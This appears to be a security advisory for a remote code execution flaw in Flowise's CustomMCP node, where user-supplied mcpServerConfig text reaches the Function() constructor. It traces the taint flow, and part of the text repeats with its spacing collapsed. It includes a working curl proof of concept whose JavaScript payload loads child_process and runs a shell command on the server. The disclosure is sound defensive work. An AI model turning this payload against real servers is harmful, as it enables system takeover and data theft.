Description
Cause of the Vulnerability
The CustomMCP node allows users to input configuration settings for connecting to an external MCP (Model Context Protocol) server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.
Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as child_process and fs.
Vulnerability Flow
- User Input Received: Input is provided via the API endpoint
/api/v1/node-load-method/customMCP through the mcpServerConfig parameter.
- Variable Substitution: The
substituteVariablesInString function replaces template variables like $vars.xxx, but no security filtering is applied during this step.
- Dangerous Code Execution: The
convertToValidJSONString function executes the input using Function('return ' + inputString)(). If the inputString contains malicious code, it gets executed in the global Node.js context, allowing actions such as command execution and file system access.
Taint Flow
Proof of Concept (PoC)
curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
}
}'
When executed, this creates a file /tmp/RCE.txt on the server, confirming command execution.
Impact
Complete System Takeover and Infrastructure Threat
This vulnerability allows attackers to execute arbitrary JavaScript code on the Flowise server, leading to:
- Full system compromise
- File system access
- Command execution
- Sensitive data exfiltration
As only an API token is required, this poses an extreme security risk to business continuity and customer data.
References
im-soohyun Reporter
Description
Cause of the Vulnerability
The
CustomMCPnode allows users to input configuration settings for connecting to an external MCP (Model Context Protocol) server. This node parses the user-providedmcpServerConfigstring to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.Specifically, inside the
convertToValidJSONStringfunction, user input is directly passed to theFunction()constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such aschild_processandfs.Vulnerability Flow
/api/v1/node-load-method/customMCPthrough themcpServerConfigparameter.substituteVariablesInStringfunction replaces template variables like$vars.xxx, but no security filtering is applied during this step.convertToValidJSONStringfunction executes the input usingFunction('return ' + inputString)(). If theinputStringcontains malicious code, it gets executed in the global Node.js context, allowing actions such as command execution and file system access.Taint Flow
Taint 01: Route Registration
index.ts(Line 5)Taint 02: Controller
index.ts(Line 57–78)Taint 03: Service
index.ts(Line 91–94)Taint 04: CustomMCP Node Entry Point
CustomMCP.ts(Line 132)Taint 05: Variable Substitution
CustomMCP.ts(Line 220)Taint 06: Dangerous Constructor Execution
CustomMCP.ts(Line 262–270)Proof of Concept (PoC)
When executed, this creates a file
/tmp/RCE.txton the server, confirming command execution.Impact
Complete System Takeover and Infrastructure Threat
This vulnerability allows attackers to execute arbitrary JavaScript code on the Flowise server, leading to:
As only an API token is required, this poses an extreme security risk to business continuity and customer data.
References